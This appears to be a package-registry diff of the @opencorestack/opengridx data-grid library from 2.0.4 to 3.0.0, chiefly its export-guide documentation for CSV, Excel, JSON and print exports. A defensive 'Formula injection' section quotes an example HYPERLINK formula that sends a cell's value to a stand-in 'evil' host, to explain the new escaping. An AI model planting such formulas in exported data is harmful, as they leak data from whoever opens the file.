@opencorestack/opengridx 2.0.4 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (221) hide show
  1. package/CHANGELOG.md +408 -3
  2. package/README.md +93 -72
  3. package/dist/index.d.ts +611 -121
  4. package/dist/opengridx.css +1 -1
  5. package/dist/opengridx.es.js +7992 -5650
  6. package/dist/opengridx.es.js.map +1 -1
  7. package/dist/opengridx.umd.js +17 -23
  8. package/dist/opengridx.umd.js.map +1 -1
  9. package/docs/API_REFERENCE.md +348 -161
  10. package/docs/README.md +6 -1
  11. package/docs/architecture/datagrid-orchestration.md +81 -0
  12. package/docs/architecture/grid-row-meta.md +102 -0
  13. package/docs/architecture/use-grid-columns.md +128 -0
  14. package/docs/architecture/use-grid-controlled-state.md +157 -0
  15. package/docs/architecture/use-grid-row-pipeline.md +120 -0
  16. package/docs/architecture/use-grid-scroll-sync.md +111 -0
  17. package/docs/architecture/use-grid-state-snapshot.md +90 -0
  18. package/docs/architecture/use-grid-virtualization.md +115 -0
  19. package/docs/architecture/use-grid-visible-rows.md +85 -0
  20. package/docs/assets/banner-alt.png +0 -0
  21. package/docs/assets/banner.png +0 -0
  22. package/docs/assets/hero.png +0 -0
  23. package/docs/assets/logo.png +0 -0
  24. package/docs/components/aggregation-footer.md +15 -10
  25. package/docs/components/cell.md +16 -6
  26. package/docs/components/column-group-header.md +55 -28
  27. package/docs/components/column-resize.md +17 -13
  28. package/docs/components/column-visibility.md +45 -22
  29. package/docs/components/datagrid.md +14 -12
  30. package/docs/components/empty-state.md +2 -1
  31. package/docs/components/error-overlay.md +12 -7
  32. package/docs/components/filter-panel.md +28 -8
  33. package/docs/components/header.md +28 -9
  34. package/docs/components/pagination.md +14 -8
  35. package/docs/components/row.md +21 -5
  36. package/docs/components/toolbar.md +27 -9
  37. package/docs/components/tooltip.md +16 -7
  38. package/docs/customization/slots-api.md +100 -36
  39. package/docs/customization/theming.md +66 -18
  40. package/docs/features/aggregation-pivot.md +75 -9
  41. package/docs/features/cell-spanning.md +80 -125
  42. package/docs/features/clipboard.md +41 -16
  43. package/docs/features/custom-pagination.md +38 -18
  44. package/docs/features/data-source.md +36 -13
  45. package/docs/features/editing-reordering.md +125 -16
  46. package/docs/features/export-guide.md +147 -41
  47. package/docs/features/filtering.md +44 -6
  48. package/docs/features/infinite-scroll.md +54 -46
  49. package/docs/features/keyboard-navigation.md +83 -0
  50. package/docs/features/list-view.md +58 -5
  51. package/docs/features/loading-states.md +18 -20
  52. package/docs/features/master-detail.md +18 -5
  53. package/docs/features/pdf-export.md +56 -19
  54. package/docs/features/pinning.md +23 -5
  55. package/docs/features/selection.md +50 -10
  56. package/docs/features/sorting-pagination.md +66 -14
  57. package/docs/features/state-persistence.md +78 -10
  58. package/docs/features/toolbar-customization.md +26 -17
  59. package/docs/features/tree-data-grouping.md +44 -9
  60. package/docs/features/virtualization.md +64 -15
  61. package/docs/migration/v1-to-v2.md +115 -0
  62. package/docs/migration/v2-to-v3.md +1222 -0
  63. package/docs/performance.md +124 -0
  64. package/docs/roadmap.md +16 -10
  65. package/lib/components/Cell/Cell.css +13 -1
  66. package/lib/components/Cell/Cell.tsx +130 -57
  67. package/lib/components/Cell/CellErrorBoundary.tsx +12 -6
  68. package/lib/components/Cell/GridEditInputCell.tsx +114 -41
  69. package/lib/components/ColumnGroupHeader/ColumnGroupHeader.css +7 -1
  70. package/lib/components/ColumnResizeHandle/ColumnResizeHandle.css +11 -0
  71. package/lib/components/ColumnResizeHandle/ColumnResizeHandle.tsx +104 -38
  72. package/lib/components/ColumnResizeHandle/clampResizeWidth.ts +13 -0
  73. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.css +6 -0
  74. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.tsx +21 -13
  75. package/lib/components/DataGrid/DataGrid.css +84 -12
  76. package/lib/components/DataGrid/DataGrid.tsx +606 -872
  77. package/lib/components/DataGrid/GridAggregationFooter.tsx +53 -17
  78. package/lib/components/DataGrid/GridEmptyState.tsx +7 -1
  79. package/lib/components/DataGrid/GridErrorOverlay.tsx +15 -12
  80. package/lib/components/DataGrid/GridListView.tsx +166 -23
  81. package/lib/components/DataGrid/GridLiveRegion.tsx +31 -0
  82. package/lib/components/DataGrid/GridLoadingOverlay.tsx +27 -0
  83. package/lib/components/DataGrid/GridPaginationArea.tsx +44 -0
  84. package/lib/components/DataGrid/GridPinnedRows.tsx +65 -11
  85. package/lib/components/DataGrid/GridStandaloneColumnPanel.tsx +40 -38
  86. package/lib/components/DataGrid/GridToolbarSlot.tsx +51 -0
  87. package/lib/components/DataGrid/GridVirtualRows.tsx +48 -25
  88. package/lib/components/DetailPanel/DetailPanel.css +0 -6
  89. package/lib/components/DetailPanel/DetailPanel.tsx +34 -5
  90. package/lib/components/DetailPanel/DetailPanelContent.tsx +17 -0
  91. package/lib/components/FilterPanel/FilterPanel.css +13 -2
  92. package/lib/components/FilterPanel/FilterPanel.tsx +272 -99
  93. package/lib/components/Header/ColumnMenu.tsx +91 -39
  94. package/lib/components/Header/Header.css +3 -3
  95. package/lib/components/Header/Header.tsx +179 -160
  96. package/lib/components/ListView/ListView.css +25 -0
  97. package/lib/components/ListView/ListViewRow.tsx +79 -10
  98. package/lib/components/Pagination/Pagination.tsx +15 -7
  99. package/lib/components/Row/Row.tsx +185 -75
  100. package/lib/components/Toolbar/GlobalSearch.css +6 -3
  101. package/lib/components/Toolbar/GlobalSearch.tsx +26 -27
  102. package/lib/components/Toolbar/GridToolbar.css +12 -11
  103. package/lib/components/Toolbar/GridToolbar.tsx +133 -89
  104. package/lib/components/Toolbar/PivotPanel.tsx +89 -49
  105. package/lib/components/Tooltip/Tooltip.css +20 -0
  106. package/lib/components/Tooltip/Tooltip.tsx +68 -35
  107. package/lib/components/ui/Button.tsx +3 -0
  108. package/lib/components/ui/Checkbox.tsx +2 -1
  109. package/lib/components/ui/ExpandIcon.css +0 -9
  110. package/lib/components/ui/ExpandIcon.tsx +4 -1
  111. package/lib/hooks/core/gridApiPlaceholder.ts +34 -0
  112. package/lib/hooks/core/gridToolbarHostContext.ts +14 -0
  113. package/lib/hooks/core/useDataGrid.ts +115 -173
  114. package/lib/hooks/core/useGridAggregationApi.ts +72 -0
  115. package/lib/hooks/core/useGridApiMethods.ts +115 -0
  116. package/lib/hooks/core/useGridApiRef.ts +15 -3
  117. package/lib/hooks/core/useGridApiRefBinding.ts +18 -0
  118. package/lib/hooks/core/useGridAriaRows.ts +38 -0
  119. package/lib/hooks/core/useGridClipboardApi.ts +38 -0
  120. package/lib/hooks/core/useGridColumnLookup.ts +30 -0
  121. package/lib/hooks/core/useGridColumns.tsx +284 -76
  122. package/lib/hooks/core/useGridColumnsPanel.ts +77 -0
  123. package/lib/hooks/core/useGridControlledState.ts +99 -6
  124. package/lib/hooks/core/useGridDetailPanel.ts +51 -0
  125. package/lib/hooks/core/useGridDevWarnings.ts +123 -0
  126. package/lib/hooks/core/useGridFocusHandlers.ts +50 -0
  127. package/lib/hooks/core/useGridGroupingColumn.ts +62 -0
  128. package/lib/hooks/core/useGridHeaderHandlers.ts +92 -0
  129. package/lib/hooks/core/useGridHierarchy.ts +81 -0
  130. package/lib/hooks/core/useGridKeyboardNavigation.ts +452 -250
  131. package/lib/hooks/core/useGridLiveRowSelection.ts +67 -0
  132. package/lib/hooks/core/useGridPageCorrection.ts +55 -0
  133. package/lib/hooks/core/useGridRowIdOf.ts +32 -0
  134. package/lib/hooks/core/useGridRowInteractions.ts +81 -0
  135. package/lib/hooks/core/useGridRowPipeline.ts +69 -39
  136. package/lib/hooks/core/useGridRowSelection.ts +91 -0
  137. package/lib/hooks/core/useGridScrollSync.ts +80 -32
  138. package/lib/hooks/core/useGridScrollToIndexesApi.ts +45 -0
  139. package/lib/hooks/core/useGridStateSnapshot.ts +40 -5
  140. package/lib/hooks/core/useGridThemeDimensions.ts +49 -0
  141. package/lib/hooks/core/useGridToolbarProps.ts +97 -0
  142. package/lib/hooks/core/useGridViewport.ts +38 -0
  143. package/lib/hooks/core/useGridViewportSize.ts +26 -0
  144. package/lib/hooks/core/useGridVisibleRows.ts +20 -7
  145. package/lib/hooks/core/useLayout.ts +215 -195
  146. package/lib/hooks/core/useRowsScrollEndLatch.ts +41 -0
  147. package/lib/hooks/core/useStableColumns.ts +34 -0
  148. package/lib/hooks/features/useAggregation.ts +86 -90
  149. package/lib/hooks/features/useColumnGroupReorderGuard.ts +34 -0
  150. package/lib/hooks/features/useDetailPanelHeights.ts +29 -0
  151. package/lib/hooks/features/useGridClipboard.ts +133 -73
  152. package/lib/hooks/features/useGridDataSource.ts +354 -128
  153. package/lib/hooks/features/useGridEditing.ts +211 -51
  154. package/lib/hooks/features/useGridPivot.ts +92 -0
  155. package/lib/hooks/features/useGridSpanRenderWindow.ts +104 -0
  156. package/lib/hooks/features/useGridSpanning.ts +410 -306
  157. package/lib/hooks/features/usePivot.ts +0 -0
  158. package/lib/hooks/features/useServerTreeChildren.ts +50 -0
  159. package/lib/hooks/useColumnReorder.ts +38 -44
  160. package/lib/hooks/useRowGrouping.ts +335 -214
  161. package/lib/hooks/useRowReorder.ts +62 -31
  162. package/lib/hooks/useTreeData.ts +330 -262
  163. package/lib/index.ts +30 -2
  164. package/lib/state/index.ts +1 -0
  165. package/lib/state/types.ts +7 -1
  166. package/lib/state/useGridStateStorage.ts +88 -29
  167. package/lib/theme/DataGridThemeProvider.tsx +143 -38
  168. package/lib/theme/gridThemeContext.ts +5 -0
  169. package/lib/theme/index.ts +5 -0
  170. package/lib/theme/presets.ts +5 -4
  171. package/lib/theme/types.ts +40 -2
  172. package/lib/types/index.ts +311 -108
  173. package/lib/utils/aggregation/index.ts +157 -0
  174. package/lib/utils/aria/index.ts +40 -0
  175. package/lib/utils/columnGroups.ts +110 -0
  176. package/lib/utils/columnLookup.ts +33 -0
  177. package/lib/utils/columnWidth.ts +22 -0
  178. package/lib/utils/dataSource/index.ts +46 -0
  179. package/lib/utils/detailPanel.ts +66 -0
  180. package/lib/utils/dragData.ts +44 -0
  181. package/lib/utils/editing/index.ts +30 -0
  182. package/lib/utils/export/exportShared.ts +197 -0
  183. package/lib/utils/export/exportToExcelAdvanced.ts +344 -121
  184. package/lib/utils/export/exportToPdf.ts +143 -92
  185. package/lib/utils/export/groupLabel.ts +14 -0
  186. package/lib/utils/export/index.ts +278 -272
  187. package/lib/utils/export/pdfText.ts +50 -0
  188. package/lib/utils/filtering/index.ts +277 -148
  189. package/lib/utils/focus/index.ts +115 -0
  190. package/lib/utils/gridApiRows.ts +35 -0
  191. package/lib/utils/gridModes.ts +77 -0
  192. package/lib/utils/grouping/groupedExportRows.ts +91 -0
  193. package/lib/utils/pagination/index.ts +56 -0
  194. package/lib/utils/pinning/index.ts +77 -33
  195. package/lib/utils/pivot/index.ts +368 -0
  196. package/lib/utils/scroll/index.ts +78 -0
  197. package/lib/utils/scroll/scrollEnd.ts +18 -0
  198. package/lib/utils/sorting/index.ts +154 -30
  199. package/lib/utils/syntheticRows.ts +12 -0
  200. package/lib/utils/values.ts +206 -0
  201. package/lib/utils/viewport.ts +14 -0
  202. package/llms.txt +272 -166
  203. package/package.json +18 -6
  204. package/lib/components/ColumnGroupHeader/ColumnGroupHeader.tsx +0 -220
  205. package/lib/components/ColumnVisibilityPanel/ColumnVisibilityPanel.test.tsx +0 -85
  206. package/lib/components/DataGrid/DataGrid.regression.test.tsx +0 -132
  207. package/lib/components/DataGrid/DataGrid.smoke.test.tsx +0 -58
  208. package/lib/components/DataGrid/DataGrid.v2.test.tsx +0 -127
  209. package/lib/components/Header/Header.test.tsx +0 -135
  210. package/lib/components/Pagination/Pagination.test.tsx +0 -64
  211. package/lib/hooks/core/useDataGrid.regression.test.ts +0 -66
  212. package/lib/hooks/core/useGridControlledState.test.ts +0 -86
  213. package/lib/hooks/core/useGridKeyboardNavigation.test.ts +0 -176
  214. package/lib/hooks/core/useGridRowPipeline.test.ts +0 -117
  215. package/lib/hooks/features/useAggregation.test.ts +0 -175
  216. package/lib/hooks/features/usePivot.test.ts +0 -202
  217. package/lib/hooks/useRowGrouping.test.ts +0 -137
  218. package/lib/utils/export/exportToPdf.test.ts +0 -120
  219. package/lib/utils/export/groupedExport.test.ts +0 -144
  220. package/lib/utils/filtering/filtering.test.ts +0 -178
  221. package/lib/utils/sorting/sorting.test.ts +0 -88
@@ -22,8 +22,8 @@ import { exportToCsv, exportToExcel, exportToExcelAdvanced, exportToJson, printG
22
22
  // CSV
23
23
  exportToCsv(rows, columns, { fileName: 'data.csv' });
24
24
 
25
- // Basic Excel (no deps)
26
- exportToExcel(rows, columns, { fileName: 'data.xlsx' });
25
+ // Basic Excel (no deps) — an HTML table that Excel opens as a legacy .xls
26
+ exportToExcel(rows, columns, { fileName: 'data.xls' });
27
27
 
28
28
  // Advanced Excel (ExcelJS, lazy-loaded)
29
29
  await exportToExcelAdvanced(rows, columns, { fileName: 'data.xlsx' });
@@ -47,7 +47,7 @@ exportToCsv(rows, columns, {
47
47
  includeHeaders: true,
48
48
  delimiter: ',',
49
49
  selectedRows: [1, 2, 3], // export only these IDs
50
- aggregationResult: aggResult, // adds SUM/AVG totals row
50
+ aggregationResult: aggResult, // adds two rows: function labels (SUM/AVG), then values
51
51
  aggregationModel: { salary: 'sum' },
52
52
  });
53
53
  ```
@@ -58,16 +58,24 @@ exportToCsv(rows, columns, {
58
58
  |---|---|---|---|
59
59
  | `fileName` | `string` | `'export.csv'` | Output filename |
60
60
  | `includeHeaders` | `boolean` | `true` | Include column header row |
61
- | `delimiter` | `string` | `','` | Field delimiter |
62
- | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
63
- | `aggregationResult` | `object \| null` | — | Aggregation values row |
61
+ | `delimiter` | `string` | `','` | Field delimiter. Values that contain it (or a quote, LF or CR) are quoted |
62
+ | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
63
+ | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
64
64
  | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
65
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
66
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
67
+ | `escapeFormulas` | `boolean` | `true` | Prefix text that starts with `=`, `+`, `-`, `@`, tab or CR with `'` (v3.0+). See [Formula injection](#formula-injection) |
68
+ | `bom` | `boolean` | `true` | Start the file with a UTF-8 byte-order mark so Excel reads non-ASCII text (v3.0+) |
69
+
70
+ ### Formula injection
71
+
72
+ Spreadsheet apps run any cell that starts with `=`, `+`, `-` or `@` as a formula, so user-entered text such as `=HYPERLINK("http://evil/?"&A2,"Click")` can leak data or run commands when someone opens the export ("CSV injection"). Since v3.0, `exportToCsv` and `exportToExcel` prefix such text — in cells, headers and group labels — with `'`, which makes it plain text. Plain signed numbers (`-12.50`) and text formatted from a number, date or boolean value are left alone. Pass `escapeFormulas: false` only when every exported value is trusted and you need live formulas.
65
73
 
66
74
  ---
67
75
 
68
76
  ## 2. `exportToExcel` (basic)
69
77
 
70
- HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format.
78
+ HTML-table approach, no external libraries. Opens reliably in Excel and Numbers but as a legacy `.xls` format. Excel refuses HTML content named `.xlsx`, so since v3.0 a `.xlsx` file name is renamed to `.xls` (with a console warning); use [`exportToExcelAdvanced`](#3-exporttoexceladvanced--recommended) for a real `.xlsx`. Text cells are marked as text (`mso-number-format:"\@"`), so Excel keeps leading zeros (`00501`), long ids and strings like `1-2` as they are; number, date and boolean columns are left for Excel to type.
71
79
 
72
80
  ```tsx
73
81
  import { exportToExcel } from '@opencorestack/opengridx';
@@ -85,12 +93,15 @@ exportToExcel(rows, columns, {
85
93
 
86
94
  | Option | Type | Default | Description |
87
95
  |---|---|---|---|
88
- | `fileName` | `string` | `'export.xlsx'` | Output filename |
89
- | `sheetName` | `string` | `'Sheet1'` | Sheet tab name |
96
+ | `fileName` | `string` | `'export.xls'` | Output filename (`.xlsx` is renamed to `.xls`) |
97
+ | `sheetName` | `string` | `'Sheet1'` | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`; cut to 31 characters |
90
98
  | `includeHeaders` | `boolean` | `true` | Include column header row |
91
- | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
92
- | `aggregationResult` | `object \| null` | — | Aggregation values row |
99
+ | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
100
+ | `aggregationResult` | `object \| null` | — | Appends two rows after the data: a function-label row (`SUM`, `AVG`…) then a values row |
93
101
  | `aggregationModel` | `object \| null` | — | Labels for aggregation row |
102
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` |
103
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
104
+ | `escapeFormulas` | `boolean` | `true` | Prefix formula-like text with `'` (v3.0+). See [Formula injection](#formula-injection) |
94
105
 
95
106
  ---
96
107
 
@@ -162,16 +173,20 @@ await exportToExcelAdvanced(rows, columns, {
162
173
  | `bodyFontSize` | `number` | `10` | Body font size (pt) |
163
174
  | `aggregationResult` | `object \| null` | — | Aggregation totals |
164
175
  | `aggregationModel` | `object \| null` | — | Aggregation function labels |
165
- | `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets |
176
+ | `selectedRows` | `(string\|number)[]` | — | IDs for `rows: 'selected'` sheets. With no selection, such a sheet has only its header row (v3.0+) |
177
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
178
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure from `apiRef.current.getGroupedExportRows()` (v2.1+). See [Grouped export](#grouped-export-to-advanced-excel) |
179
+ | `groupHeaderFillColor` | `string` | `'#e8eaf6'` | Group-header row fill (grouped export) |
180
+ | `groupSubtotalFillColor` | `string` | `'#f0f4ff'` | Group-subtotal row fill (grouped export) |
166
181
 
167
182
  ### `ExcelSheetDefinition`
168
183
 
169
184
  | Option | Type | Default | Description |
170
185
  |---|---|---|---|
171
- | `name` | `string` | — | Sheet tab name (max 31 chars) |
172
- | `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include |
186
+ | `name` | `string` | — | Sheet tab name. Characters Excel rejects (`\ / ? * : [ ]`) become `-`, the name is cut to 31 characters, and a duplicate name (case-insensitive, also between two `summary` sheets) gets a ` (2)` suffix (v3.0+) |
187
+ | `rows` | `'all' \| 'selected'` | `'all'` | Which rows to include. `'selected'` writes only `selectedRows`, none when nothing is selected |
173
188
  | `includeHeaders` | `boolean` | `true` | Include column header row |
174
- | `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom |
189
+ | `includeSummary` | `boolean` | `false` | Aggregation totals rows at bottom. On a `'selected'` sheet the totals are recomputed over the selected rows |
175
190
  | `autoFilter` | `boolean` | `true` | Excel filter dropdowns on header |
176
191
  | `frozenHeader` | `boolean` | `true` | Freeze row 1 |
177
192
  | `alternateRowColor` | `string \| false` | `'#f8fafc'` | Odd-row fill. `false` to disable |
@@ -180,16 +195,42 @@ await exportToExcelAdvanced(rows, columns, {
180
195
 
181
196
  | Option | Type | Description |
182
197
  |---|---|---|
183
- | `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'` |
198
+ | `numFmt` | `string` | Excel number format, e.g. `'$#,##0.00'`, `'0.00%'`, `'yyyy-mm-dd'`. Defaults: `type: 'number'` cells get `'#,##0'` for whole numbers and `'#,##0.##'` otherwise; `type: 'date'` gets `'yyyy-mm-dd'` |
184
199
  | `width` | `number` | Column width in characters (overrides auto) |
185
200
  | `alignment` | `'left' \| 'center' \| 'right'` | Horizontal alignment |
186
- | `embedImage` | `boolean` | If true, URL in cell is fetched and embedded as image |
201
+ | `embedImage` | `boolean` | If true, the cell's URL (after `valueGetter`) is fetched and embedded as an image. PNG, JPEG and GIF are embedded (detected from the bytes); other formats (SVG, WebP, AVIF) and failed fetches write the URL text instead |
187
202
  | `imageWidth` | `number` | Width of embedded image (px, default: 40) |
188
203
  | `imageHeight`| `number` | Height of embedded image (px, default: 40) |
189
204
 
205
+ ### Grouped export to advanced Excel
206
+
207
+ Since v2.1, pass the grid's grouped structure to keep number formats, styling and summary sheets on grouped reports:
208
+
209
+ ```tsx
210
+ await exportToExcelAdvanced(rows, columns, {
211
+ fileName: 'sales-by-region.xlsx',
212
+ groupedRows: apiRef.current.getGroupedExportRows() ?? undefined,
213
+ aggregationModel,
214
+ aggregationResult: apiRef.current.getAggregationResult(),
215
+ columnStyles: { amount: { numFmt: '$#,##0.00' } },
216
+ });
217
+ ```
218
+
219
+ Sheets with `rows: 'all'` are written in grouped order: a bold group-header row (the same label the grid shows — see [Group labels in exports](#group-labels-in-exports)), the leaf rows, a `Subtotal` row per group, and a final `Grand Total`. Rows use Excel's native outlining, so users can collapse groups in Excel. Subtotal and total values are written as numbers so `columnStyles[field].numFmt` applies — except `count` and `unique`, which are plain integers (`'#,##0'`) rather than, say, a currency or date, and `min` / `max` of a date column, which are written as dates. When the first column has its own aggregate, its value is written instead of the `Subtotal` label. A `grand-total` entry replaces the sheet's `includeSummary` rows, so totals are not duplicated. `rows: 'selected'` sheets ignore `groupedRows` and export flat.
220
+
221
+ ### Group labels in exports
222
+
223
+ Every exporter (CSV, basic Excel, JSON, print, PDF and advanced Excel) writes the same group-header label the grid shows on screen:
224
+
225
+ 1. the entry's `groupLabel` — set by `apiRef.current.getGroupedExportRows()` from the grid's own label;
226
+ 2. else the grouping column's `groupingValueFormatter`;
227
+ 3. else `"field: value"`, the grid's documented default.
228
+
229
+ Before v3.0, only advanced Excel applied `groupingValueFormatter` (falling back to `"Header: value"`), and the other formats always wrote `"field: value"`.
230
+
190
231
  ### Summary Sheet
191
232
 
192
- Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet:
233
+ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone aggregation sheet. Values are numeric cells (v3.0+; they were locale-formatted text before) in the column's `numFmt`, so with `columnStyles: { salary: { numFmt: '$#,##0' } }`:
193
234
 
194
235
  ```
195
236
  | Column | Function | Value |
@@ -199,6 +240,22 @@ Pass `{ type: 'summary', name: 'My Sheet' }` in `sheets` to add a standalone agg
199
240
  | Perf. Score | AVG | 3.7 |
200
241
  ```
201
242
 
243
+ The flat `includeSummary` totals row is numeric in the same way.
244
+
245
+ ### Cell types
246
+
247
+ `exportToExcelAdvanced` writes native cells so Excel can sort, filter and sum them:
248
+
249
+ | Column / value | Written as |
250
+ |---|---|
251
+ | `type: 'number'` — numbers, and numeric strings such as `'42.50'` | Number |
252
+ | `type: 'boolean'` — booleans, and `'true'` / `'false'` strings | Boolean |
253
+ | `type: 'date'` — `Date`, epoch milliseconds, and ISO strings (`'2024-01-15'`, `'2024-01-15T10:30'`) | Date, with the same calendar day and wall-clock time the grid shows in the user's timezone |
254
+ | A value that is not of the column's type (`'n/a'` in a number column) | The `valueFormatter` text, else the value as text |
255
+ | `NaN`, `Infinity`, Invalid Date, `null` | Empty cell (or the `valueFormatter` text, which also runs for missing values) |
256
+ | Objects and arrays | JSON text. Objects are never handed to ExcelJS as-is, so `{ formula }`, `{ hyperlink }`, `{ richText }` or `{ error }` row data cannot become live formulas or links |
257
+ | Anything else | The `valueFormatter` text, else the value |
258
+
202
259
  ### Feature Comparison: Basic vs Advanced
203
260
 
204
261
  | Feature | `exportToExcel` | `exportToExcelAdvanced` |
@@ -234,6 +291,8 @@ exportToJson(rows, columns, {
234
291
  });
235
292
  ```
236
293
 
294
+ JSON is a data format, so values are written raw: `valueGetter` is applied, `valueFormatter` is not.
295
+
237
296
  When `aggregationResult` is provided, output shape becomes:
238
297
  ```json
239
298
  {
@@ -245,6 +304,8 @@ When `aggregationResult` is provided, output shape becomes:
245
304
  }
246
305
  ```
247
306
 
307
+ `aggregation.values` are the raw results (numbers). Before v3.0 they were locale-formatted strings such as `"8,320,000"`. With `groupedRows`, the output is `{ groups, grandTotal }`, and `subtotals` / `grandTotal` contain only exported columns (an `exportable: false` column's totals are left out, v3.0+).
308
+
248
309
  **`JsonExportOptions`:**
249
310
 
250
311
  | Option | Type | Default | Description |
@@ -252,8 +313,10 @@ When `aggregationResult` is provided, output shape becomes:
252
313
  | `fileName` | `string` | `'export.json'` | Output filename |
253
314
  | `pretty` | `boolean` | `true` | Pretty-print with indentation |
254
315
  | `selectedRows` | `(string\|number)[]` | — | Export only these row IDs |
316
+ | `getRowId` | `(row) => GridRowId` | `row.id` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
255
317
  | `aggregationResult` | `object \| null` | — | Append aggregation object |
256
318
  | `aggregationModel` | `object \| null` | — | Function labels |
319
+ | `groupedRows` | `GridGroupedExportRow[]` | — | Grouped structure; output becomes a nested `{ groups, grandTotal }` tree |
257
320
 
258
321
  ---
259
322
 
@@ -281,9 +344,13 @@ printGrid(rows, columns, {
281
344
  | Option | Type | Description |
282
345
  |---|---|---|
283
346
  | `title` | `string` | Print page title |
284
- | `selectedRows` | `(string\|number)[]` | Print only these row IDs |
347
+ | `selectedRows` | `(string\|number)[]` | Print only these row IDs. See [Selection, grouping and totals](#selection-grouping-and-totals) |
285
348
  | `aggregationResult` | `object \| null` | Append totals |
286
349
  | `aggregationModel` | `object \| null` | Label totals |
350
+ | `groupedRows` | `GridGroupedExportRow[]` | Grouped structure from `apiRef.current.getGroupedExportRows()` |
351
+ | `getRowId` | `(row) => GridRowId` | The grid's `getRowId`, needed with `selectedRows` when rows are keyed by another field (v3.0+) |
352
+
353
+ The print window is a same-origin popup, so every value written into it — title, cells, headers, group labels, image URLs and alt text, error messages — is HTML-escaped. `type: 'image'` columns render an `<img>` only for `http(s):`, `data:image/…`, `blob:` and relative URLs; any other value (e.g. `javascript:…`) is printed as text.
287
354
 
288
355
  ---
289
356
 
@@ -291,13 +358,17 @@ printGrid(rows, columns, {
291
358
 
292
359
  ### Export with toolbar integration
293
360
 
361
+ `GridToolbar` has no built-in export action; render your own button with `renderExportButton`. Pass it through `slotProps.toolbar` rather than wrapping `GridToolbar` in an inline `slots.toolbar` function: the grid hands its filter, column and aggregation handlers to the slot component, and a wrapper that drops them leaves the toolbar without its search, Filters, Columns and Summaries controls.
362
+
294
363
  ```tsx
295
- import { DataGrid, GridToolbar, exportToExcelAdvanced } from '@opencorestack/opengridx';
364
+ import { useState } from 'react';
365
+ import {
366
+ DataGrid, GridToolbar, exportToExcelAdvanced,
367
+ type GridColDef, type GridRowModel, type GridRowSelectionModel,
368
+ } from '@opencorestack/opengridx';
296
369
 
297
- function MyGrid() {
298
- const [rows, setRows] = useState([...]);
299
- const [columns] = useState([...]);
300
- const [selected, setSelected] = useState([]);
370
+ function MyGrid({ rows, columns }: { rows: GridRowModel[]; columns: GridColDef[] }) {
371
+ const [selected, setSelected] = useState<GridRowSelectionModel>([]);
301
372
 
302
373
  return (
303
374
  <DataGrid
@@ -309,10 +380,17 @@ function MyGrid() {
309
380
  slots={{ toolbar: GridToolbar }}
310
381
  slotProps={{
311
382
  toolbar: {
312
- onExcelAdvanced: () => exportToExcelAdvanced(rows, columns, {
313
- fileName: 'report.xlsx',
314
- selectedRows: selected,
315
- }),
383
+ renderExportButton: () => (
384
+ <button
385
+ onClick={() => exportToExcelAdvanced(rows, columns, {
386
+ fileName: 'report.xlsx',
387
+ sheets: [{ name: 'Selected', rows: 'selected' }],
388
+ selectedRows: selected,
389
+ })}
390
+ >
391
+ Export to Excel
392
+ </button>
393
+ ),
316
394
  },
317
395
  }}
318
396
  />
@@ -336,6 +414,10 @@ await exportToExcelAdvanced(rows, columns, {
336
414
  });
337
415
  ```
338
416
 
417
+ ### Columns without a `valueFormatter`
418
+
419
+ CSV, Excel (HTML), print and PDF write the text the grid shows. Without a `valueFormatter`, that is the column type's default (v3.0): a `date` column writes the local calendar date, `boolean` writes Yes / No, and `singleSelect` writes the `valueOptions` label. JSON and the advanced XLSX export keep raw values.
420
+
339
421
  ### Respect `valueFormatter` for styled columns
340
422
 
341
423
  The advanced export keeps **raw values** for typed columns (`number`, `date`, `boolean`) so Excel can format them natively with `numFmt`. For `string` columns, `valueFormatter` is applied before writing.
@@ -345,7 +427,7 @@ const columns: GridColDef[] = [
345
427
  {
346
428
  field: 'salary',
347
429
  type: 'number', // ← raw number written to Excel
348
- valueFormatter: ({ value }) => `$${value.toLocaleString()}`, // used in CSV/print
430
+ valueFormatter: ({ value }) => `$${(value as number).toLocaleString()}`, // used in CSV/print
349
431
  },
350
432
  ];
351
433
 
@@ -360,7 +442,7 @@ await exportToExcelAdvanced(rows, columns, {
360
442
 
361
443
  ## Value Formatters
362
444
 
363
- All export functions respect `valueFormatter` and `valueGetter`:
445
+ Every exporter applies `valueGetter`. CSV, basic Excel, print and PDF write the `valueFormatter` text, as the grid does — since v3.0 the formatter also runs for `null` / `undefined` values, so placeholder text such as `'Unassigned'` or `'—'` is exported (a formatter that throws for a missing value exports an empty cell). JSON writes raw values, and advanced Excel writes typed columns natively (see the note below):
364
446
 
365
447
  ```tsx
366
448
  const columns: GridColDef[] = [
